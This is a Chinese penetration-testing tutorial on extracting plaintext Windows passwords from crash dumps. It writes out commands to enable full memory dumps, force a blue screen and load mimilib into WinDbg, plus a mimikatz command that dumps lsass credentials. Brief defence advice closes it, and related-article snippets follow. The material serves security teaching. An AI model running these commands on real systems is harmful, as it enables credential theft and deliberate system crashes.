滲透技巧——使用Mimilib從dump文件中導出口令

2021-02-13 嘶吼專業版

0x00 前言

在上篇文章《Mimilib利用分析》提到mimilib可作為WinDbg的插件進行使用,所以本文將會詳細介紹這個插件的用法,實現從內核模式轉儲文件中導出口令,結合利用思路給出防禦建議。

0x01 簡介

本文將要介紹以下內容:

· dump文件的分類

· 兩種dump文件的導出方法

· WinDbg環境配置

· 利用思路

· 防禦建議

0x02 dump文件的分類

dump文件分為以下兩類:

1.User-Mode Dump File

即用戶模式轉儲文件,分為以下兩種:

· Full User-Mode Dumps

· Minidumps

簡單理解:通常是針對單個進程。

更多參考資料:

https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/user-mode-dump-files

創建方法:可以使用Procdump進行創建。

從用戶模式轉儲文件導出口令的方法:

可參考之前的文章《滲透基礎-從lsass.exe進程導出憑據》

2.Kernel-Mode Dump Files

即內核模式轉儲文件,分為以下五種:

· Complete Memory Dump

· Kernel Memory Dump

· Small Memory Dump

· Automatic Memory Dump

· Active Memory Dump

簡單理解:包括所有進程的信息。

創建方法:啟動創建轉儲文件的功能,在系統崩潰(BSOD)時將自動創建。

更多參考資料:

https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/kernel-mode-dump-files

0x03 從內核模式轉儲文件導出口令的方法

流程如下:

1.開啟轉儲文件的功能 2.強制系統藍屏(BSOD),系統將會自動創建內核模式轉儲文件 3.使用WinDbg加載轉儲文件,調用mimilib導出明文口令

具體需要注意以下問題:

1.開啟轉儲文件的功能

對應註冊表位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl,註冊表項CrashDumpEnabled,類型為REG_DWORD。

數值對應的功能如下:

· 0表示不啟用

· 1表示完全內存轉儲

· 2表示核心內存轉儲

· 3表示內存轉儲

查看這個註冊表對應的cmd命令如下:

reg query hklm\SYSTEM\CurrentControlSet\Control\CrashControl /v CrashDumpEnabled

這裡需要將鍵值設置為1,開啟完全內存轉儲的功能,否則使用WinDbg訪問進程lsass.exe的內存時會提示具有無效的頁目錄,如下圖:

修改這個註冊表對應的cmd命令如下:

reg add hklm\SYSTEM\CurrentControlSet\Control\CrashControl /v CrashDumpEnabled /t REG_DWORD /d 1 /f

2.強制系統藍屏(BSOD)

(1)通過結束屬性為critical process的進程導致BSOD

默認為critical process的系統進程如下:

· csrss.exe

· lsass.exe

· services.exe

· smss.exe

· svchost.exe

· wininit.exe

這裡也可以先將指定進程設置為critical process,結束該進程後也會導致BSOD

具體細節可參考之前的文章《結束進程導致BSOD的利用分析》

(2)使用NotMyFault

下載地址:

https://docs.microsoft.com/en-us/sysinternals/downloads/notmyfault

觸發藍屏(BSOD)的命令如下:

notmyfault.exe -accepteula /crash

註:NotMyFault還支持將當前系統掛起,命令如下:

notmyfault.exe -accepteula /hang

默認配置下,系統藍屏(BSOD)後將會自動重啟並生成文件c:\windows\MEMORY.DMP。

3.使用WinDbg加載MEMORY.DMP

註:WinDbg可以在安裝SDK後自動安裝。

參考資料:

https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools

使用WinDbg,選擇打開Crash Dump,選擇MEMORY.DMP。

獲得dump文件詳細信息的命令如下:

報錯提示:Kernel symbols are WRONG. Please fix symbols to do analysis.

如下圖:

這裡需要修復符號文件,可以選擇以下三種解決方法:

(1) using the _NT_SYMBOL_PATH environment variable.

添加環境變量:

set _NT_SYMBOL_PATH=srv*c:\mysymbol*https://msdl.microsoft.com/download/symbols

(2) using the -y

使用WinDbg以指定參數啟動

windbg.exe -y SRV*c:\mysymbol*http://msdl.microsoft.com/download/symbols

(3)using .sympath and .sympath+

添加Symbol File Path。

WinDbg的命令行操作:

.sympath SRV*c:\mysymbol*http://msdl.microsoft.com/download/symbols

也可以通過界面操作實現。

File->Symbol File Path ...

填入SRV*c:\mysymbol*http://msdl.microsoft.com/download/symbols

設置以後,需要的符號文件會自動從Microsoft公共符號伺服器下載。

重新加載:

測試:

加載正常,如下圖:

如果這部分仍然失敗,可嘗試使用VPN連接網際網路。

如果測試環境無法連接網際網路,可以通過SymChk獲取清單文件的方式下載符號文件

參考資料:

https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/using-a-manifest-file-with-symchk

在無法連接網際網路的計算機A上執行:

SymChk /om c:\Manifest\man.txt /id c:\test\MEMORY.DMP

獲得文件c:\Manifest\man.txt,將其複製到可連接網際網路的計算機B上,在計算機B上執行如下命令:

SymChk /im c:\test\man.txt /s srv*c:\mysymbolNew*https://msdl.microsoft.com/download/symbols

將會生成新的文件夾c:\mysymbolNew,將其複製到計算機A上,在計算機A上啟動WinDbg並指定新的符號文件位置為c:\mysymbolNew,命令如下:

測試:

.Reload

!process 0 0 lsass.exe

加載正常,如下圖:

4.加載mimilib插件

可參考之前的文章《Mimilib利用分析》

(1)方法1

將mimilib.dll保存至WinDbg的winext目錄。

我的測試環境(Server2012R2x64)保存的路徑為:C:\Program Files\Debugging Tools for Windows (x64)\winext

啟動WinDbg。

加載插件的命令如下:

(2)方法2

直接加載mimilib的絕對路徑,實例如下:

綜上,搭建配置環境導出口令的完整命令如下:

.sympath SRV*c:\mysymbol*http://msdl.microsoft.com/download/symbols

.reload

!process 0 0 lsass.exe

.process 890f4530

.load c:\test\mimilib

.reload

!mimikatz

完整流程如下圖:

將輸出結果保存到文件中可使用以下命令:

.logopen c:\test\log.txt

!mimikatz

.logclose

0x04 利用思路

1.從用戶模式轉儲文件導出口令

通過API MiniDumpWriteDump()獲得進程lsass.exe的dump文件。

使用mimikatz從dump文件中導出口令,命令如下:

mimikatz.exe log "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

2.從內核模式轉儲文件導出口令

開啟轉儲文件的功能。

強制系統藍屏(BSOD)。

使用WinDbg加載轉儲文件,調用mimilib導出明文口令。

0x05 防禦建議

1.從用戶模式轉儲文件導出口令

攔截API MiniDumpWriteDump()的行為,部分安全產品已經支持這個功能。

2.從內核模式轉儲文件導出口令

開啟轉儲加密功能。

參考資料:

https://docs.microsoft.com/en-us/windows-server/virtualization/hyper-v/manage/about-dump-encryption

註:如果攻擊者獲得了系統的管理員權限,能夠關閉轉儲加密的功能。

0x06 小結

本文分別介紹了從用戶模式轉儲文件和內核模式轉儲文件導出口令的方法,結合利用思路給出防禦建議。

相關焦點

  • Mimilib利用分析
    Mimilib是mimikatz的子工程,編譯成功後生成文件mimilib.dll,包含多個導出函數。目前介紹這個dll用法的資料比較少,於是我將結合自己的測試結果,逐個介紹mimilib.dll導出函數的用法。
  • 導出windows密碼技巧大全
    (2).使用vs 2015,靜態庫中使用MFC進行編譯(3).注意編譯的路徑和文件名以及lass.exe的進程ID值(4).編譯 的ssp.dll代碼:https://gist.github.com/xpn/93f2b75bf086baf2c388b2ddd50fb5d0// dllmain.cpp : 定義 DLL 應用程式的入口點
  • MySQL mysqldump 數據導出詳解
    ,而mysqldump是導出數據過程中使用非常頻繁的一個工具;它自帶的功能參數非常多,文章中會列舉出一些常用的操作,在文章末尾會將所有的參數詳細說明列出來。8.將主庫的binlog位置和文件名追加到導出數據的文件中,--dump-slave該參數在在從伺服器上執行,相當於執行show slave status。當設置為1時,將會以CHANGE MASTER命令輸出到數據文件;設置為2時,會在change前加上注釋。
  • 滲透技巧——通過CredSSP導出用戶的明文口令
    0x00 前言 在滲透測試中,為了獲得Windows系統中的用戶口令,通常會選擇讀取lsass進程的內存。這種方法不僅需要獲得系統的管理員權限,而且在更多情況下需要繞過系統對lsass進程的保護。
  • [MiniDumpWriteDump via COM+ Services DLL]的利用測試
    最近學習了odzhan文章中介紹的一個技巧,使用C:\windows\system32\comsvcs.dll的導出函數MiniDump能夠dump指定進程的內存文件。 0x01 簡介本文將要介紹以下內容:· dump指定進程內存文件的常用方法· 使用comsvcs.dll實現dump指定進程內存文件的方法· 編寫腳本實現自動化掃描dll的導出函數·
  • oracle11g資料庫導入導出方法教程
    oracle11g資料庫的導入/導出,就是我們通常所說的oracle數據的還原/備份。資料庫導入:把.dmp 格式文件從本地導入到資料庫伺服器中(本地oracle測試資料庫中);資料庫導出:把資料庫伺服器中的數據(本地oracle測試資料庫中的數據),導出到本地生成.dmp格式文件。
  • MySQL導出數據為csv的方法
    將資料庫中的數據導出成csv格式的文件CSV格式,其要點包括:(1)欄位之間以逗號分隔,數據行之間以\r\n分隔;
  • 滲透測試內網滲透之信息收集(一)
    此系列文章準備從內網滲透中信息收集、內網穿透、橫向移動、權限維持、內網潛伏與反制等方面進行學習。*在當前目錄及所有子目錄下的所有文件中查找"passwd"這個字符串,*.*表示所有類型的文件/s 在當前目錄和所有子目錄中搜索匹配的文件/i 不區分大小寫/m 如果文件包含匹配項,僅列印該文件名應用配置文件路徑tomcatCATALINA_HOME/conf/tomcat-users.xmlapache/etc/httpd/conf/httpd.confnginx/etc/nginx/nginx.confwdcp/www/wdlinux/wdcp/conf/
  • MySQL導入導出常用命令
    導出、導入表中的記錄語句:(1)從DB中導出到文件mysql>select * into outfile '/home/outfilename.txt' fromdbtest;(2)從文件導入到DBmysql>load data infile '/home/outfilename.txt ' into table dbtest;導入、導出資料庫
  • [網絡安全] 十九.Metasploit後滲透技術之信息收集和權限提權
    計算機中的每個帳號(如果是域伺服器,則為域內的每個帳號)的用戶名和密碼都存儲在 sam 文件中,當計算機運行時,該文件對所有帳號進行鎖定,要想訪問就必須有"系統級」帳號。所以要使用該命令就必須進行權限的提升。(1) hashdump抓取密碼在Meterpreter Shell提示符下輸入hashdump命令,將導出目標機sam資料庫中的Hash。
  • 使用SpreadJS 實現 JavaScript 中導入和導出Excel文件
    訪問 SpreadJS 官網了解更多產品動態:https://www.grapecity.com.cn/developer/spreadjs 使用JavaScript實現 Excel 的導入和導出通過純JavaScript,您完全可以實現導入和導出Excel文件功能,並為最終用戶提供與這些文件進行I/O交互的界面。
  • 獨家 | 手把手教你如何用Python從PDF文件中導出數據(附連結)
    你將很大可能地需要使用Google和Stack Overflow兩個查詢工具來弄清楚如何在這篇貼子的涵蓋內容之外有效地使用PDFMiner。提取所有文本有時你會想要提取PDF文件中的所有文本。PDFMiner包提供了一些不同的方法使你能夠做到這一點。我們先來探討一些編程的方法。讓我們試著從一個國稅局W9表單中讀取所有的文本。
  • 滲透技巧——Windows下NTFS文件的USN Journal
    在上篇文章《滲透技巧——Windows下NTFS文件的時間屬性》介紹了修改NTFS文件時間屬性的方法和細節,以及取證上的建議。 本文將要繼續研究NTFS文件另一處記錄文件修改時間的位置——USN Journal,同樣是分析利用思路,給出取證上的建議。
  • 一秒無損導出文件圖片!建議收藏!
    二米三今天下班前遇到一個超級過分的老闆,84頁的全圖PPT叫人將圖片無損導出。一張一張的導出註定是加班的一天。二米三今天教給大家一個小技巧,一秒鐘無損導出PPT或WORD所有圖片。告別加班!使用軟體-保存格式為【網頁文件】第二步導出文件以文件夾的形式存在保存位置
  • 【滲透實戰】記一次艱難的內網漫遊之旅_拿下472臺主機shell!
    本文就從這裡開始好了0x002第二步:滲透機房控制軟體有一個功能,就是上傳作業,很幸運的是教師機和學生機一樣,全部使用windows默認設置:不顯示已知文件的後綴提交作業時的標準是提交doc或xls文件,對msf的載荷名進行修改例如:「作業.doc.exe」
  • 【R包薈萃】Excel文件的批量導入與導出:openxlsx包實用技巧
    本期主要為大家介紹導入和導出excel文件的工具:openxlsx包,以及批量導入導出文件的一些小技巧。install.packages("openxlsx")library("openxlsx")導出excel文件使用的是write.xlsx函數,通過介紹我們可以看到該函數主要是將數據框導出為xlsx文件,同時由於excel可存在多個sheet,該函數也支持導出a list of data.frames。
  • (進階篇)使用PHP導入和導出CSV文件
    項目開發中,很多時候要將外部CSV文件導入到資料庫中或者將數據導出為CSV文件,那麼具體該如何實現呢?本文將使用PHP並結合mysql,實現了CSV格式數據的導入和導出功能。我們先準備mysql數據表,假設項目中有一張記錄學生信息的表student,並有id,name,sex,age分別記錄學生的姓名、性別、年齡等信息。
  • 詳細教程:從R中導出各種數據文件格式
    今天來學習下怎麼從R中導出數據,這個是R語言基本功。1. 使用R基礎函數導出數據1.1 導出txt文件導出txt文件可以使用write.table函數。文件,使用`,`作為分隔符;write_csv(mtcars, path = "mtcars.csv")3. xlsx包導出xls或xlsx文件(推薦)可以使用xlsx包來導出xls或xlsx文件。
  • 滲透測試中文件上傳技巧
    allownetworking="none" allowscriptaccess="never" loop="false" menu="false" play="false" type="application/x-shockwave-flash"><IMG SRC=javascript:alert("XSS")></html></body>對上傳文件進行導出
  • 滲透測試常規操作記錄(下)
    上傳frpc.exe和frpc.ini到目標伺服器上,直接運行frpc.exe(在實戰中可能會提示找不到配置文件,需要使用-c參數指定配置文件的路徑frpc.exe -c 文件路徑),可以修改文件名和配置名以混淆視聽。公網vps主機上運行./frps –c frps.ini靶機執行./frpc –c frpc.ini